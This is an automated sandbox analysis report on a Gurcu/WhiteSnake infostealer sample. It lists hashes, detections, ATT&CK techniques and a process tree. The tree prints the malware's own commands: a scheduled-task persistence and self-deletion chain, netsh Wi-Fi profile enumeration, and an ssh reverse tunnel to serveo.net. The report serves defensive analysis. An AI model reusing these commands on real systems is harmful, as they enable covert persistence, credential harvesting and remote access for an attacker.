gurcu | 1b5e7591eb150688e3180011470832461e1f0ddac3f60e82e9e3341522ef28e9

Analysis

max time kernel
142s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
07-10-2023 01:01

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General

Target

34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
Size

256KB
MD5

0a32e2ec770c67261df3f3971d517bea
SHA1

4dfbe7f3faa5b30b9f93085572496f055b02c5e0
SHA256

34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8
SHA512

636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d
SSDEEP

6144:/GpIP+Oqum37ZUr6dgZTlp3j9bpf3X/ZZ+W0:GIPvqR7I6dgZTvfnfP0

Score

10^/10

gurcu collection discovery spyware stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 3 IoCs

resource	yara_rule
behavioral2/memory/2488-0-0x0000028787E00000-0x0000028787E46000-memory.dmp	family_gurcu_v3
behavioral2/files/0x0006000000023250-8.dat	family_gurcu_v3
behavioral2/files/0x0006000000023250-9.dat	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

Executes dropped EXE 1 IoCs

pid	Process
1656	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
Key opened	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
Key opened	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
33	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2144	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1632	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1656	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
1656	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
1656	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2488	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
Token: SeDebugPrivilege	1656	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 4584	2488	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe	86
PID 2488 wrote to memory of 4584	2488	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe	86
PID 4584 wrote to memory of 2900	4584	cmd.exe	88
PID 4584 wrote to memory of 2900	4584	cmd.exe	88
PID 4584 wrote to memory of 1632	4584	cmd.exe	89
PID 4584 wrote to memory of 1632	4584	cmd.exe	89
PID 4584 wrote to memory of 2144	4584	cmd.exe	95
PID 4584 wrote to memory of 2144	4584	cmd.exe	95
PID 4584 wrote to memory of 1656	4584	cmd.exe	97
PID 4584 wrote to memory of 1656	4584	cmd.exe	97
PID 1656 wrote to memory of 2916	1656	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe	99
PID 1656 wrote to memory of 2916	1656	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe	99
PID 2916 wrote to memory of 3380	2916	cmd.exe	101
PID 2916 wrote to memory of 3380	2916	cmd.exe	101
PID 2916 wrote to memory of 3996	2916	cmd.exe	102
PID 2916 wrote to memory of 3996	2916	cmd.exe	102
PID 2916 wrote to memory of 4764	2916	cmd.exe	103
PID 2916 wrote to memory of 4764	2916	cmd.exe	103
PID 1656 wrote to memory of 404	1656	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe	104
PID 1656 wrote to memory of 404	1656	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe	104
PID 404 wrote to memory of 3812	404	cmd.exe	106
PID 404 wrote to memory of 3812	404	cmd.exe	106
PID 404 wrote to memory of 3780	404	cmd.exe	107
PID 404 wrote to memory of 3780	404	cmd.exe	107
PID 404 wrote to memory of 2252	404	cmd.exe	108
PID 404 wrote to memory of 2252	404	cmd.exe	108
PID 1656 wrote to memory of 2480	1656	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe	109
PID 1656 wrote to memory of 2480	1656	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

C:\Users\Admin\AppData\Local\Temp\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
"C:\Users\Admin\AppData\Local\Temp\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2900
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:1632
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:2144
- - C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:1656
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2916
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3380
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:3996
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:4764
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:404
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3812
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:3780
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:2252
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6174 serveo.net
      4⤵
      PID:2480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe.log

Filesize
1KB

MD5
fc1be6f3f52d5c841af91f8fc3f790cb

SHA1
ac79b4229e0a0ce378ae22fc6104748c5f234511

SHA256
6da862f7c7feffca99cd58712ece93928c6ca6aed617f5d8c10a4718eaa2a910

SHA512
2f46165017309ee1a0c1b23e30a71e52e86ad8933e2649bf58c3f4628c5aa75659f5b8f6be32c2882f220b2f3ff2fd50d8766bf0a3708c94c2c634c051a05ea6

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

Filesize
256KB

MD5
0a32e2ec770c67261df3f3971d517bea

SHA1
4dfbe7f3faa5b30b9f93085572496f055b02c5e0

SHA256
34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8

SHA512
636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

Filesize
256KB

MD5
0a32e2ec770c67261df3f3971d517bea

SHA1
4dfbe7f3faa5b30b9f93085572496f055b02c5e0

SHA256
34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8

SHA512
636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d

Download Submit
memory/1656-11-0x00007FFE7E620000-0x00007FFE7F0E1000-memory.dmp

Filesize
10.8MB

Download
memory/1656-12-0x000002017F710000-0x000002017F720000-memory.dmp

Filesize
64KB

Download
memory/1656-15-0x00007FFE7E620000-0x00007FFE7F0E1000-memory.dmp

Filesize
10.8MB

Download
memory/1656-16-0x000002017F710000-0x000002017F720000-memory.dmp

Filesize
64KB

Download
memory/2488-0-0x0000028787E00000-0x0000028787E46000-memory.dmp

Filesize
280KB

Download
memory/2488-1-0x00007FFE7FB00000-0x00007FFE805C1000-memory.dmp

Filesize
10.8MB

Download
memory/2488-2-0x00000287A23E0000-0x00000287A23F0000-memory.dmp

Filesize
64KB

Download
memory/2488-6-0x00007FFE7FB00000-0x00007FFE805C1000-memory.dmp

Filesize
10.8MB

Download